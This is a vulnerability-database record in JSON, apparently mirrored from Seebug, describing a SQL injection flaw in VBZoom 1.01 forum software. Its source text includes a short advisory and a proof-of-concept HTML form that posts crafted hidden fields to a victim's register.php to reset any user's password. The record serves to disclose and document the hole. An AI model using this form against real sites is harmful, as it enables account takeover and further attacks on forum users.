{"lastseen": "2017-11-19T16:48:26", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "poc", "enchantments": {"score": {"value": 0.1, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.1}, "href": "https://www.seebug.org/vuldb/ssvid-75734", "references": [], "enchantments_done": [], "id": "SSV:75734", "title": "VBZoom 1.0 - Remote SQL Injection Vulnerability", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 4, "sourceData": "\n source: http://www.securityfocus.com/bid/5919/info\r\n\r\nA SQL injection vulnerability has been discovered in VBZoom v1.01.\r\n\r\nDue to insufficient sanitization of variables used to construct SQL queries, it is possible to modify the logic of a query, via a malicious request.\r\n\r\nExploiting this issue could allow an attacker to reset the password of an arbitrary forum user. The ability to impersonate arbitrary users could potentially allow an attacker to launch further attacks against the vulnerable server.\r\n\r\nOther SQL injection attacks may also be possible.\r\n\r\n\r\nExploit code\r\n**************\r\n<form name="f1" action="http://www.victim.com/vbzoom/register.php"\r\nmethod="POST">\r\n<input type="hidden" name="ChangeProfile" value="1">\r\nUser Name: <input type="text" name="UserName"><br>\r\nPassword: <input type="text" name="Password"><br>\r\nEmail: <input type="text" name="Email">\r\n<input type="hidden" name="HomePage" value="lamerZ">\r\n<input type="hidden" name="VBZooMForumCookiesUserName" value="false">\r\n<input type="hidden" name="VBZooMForumCookiesUserName" value="false">\r\n<input type="submit" value="reset password">\r\n</form>\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-75734", "type": "seebug", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645420699}}
VBZoom 1.0 - Remote SQL Injection Vulnerability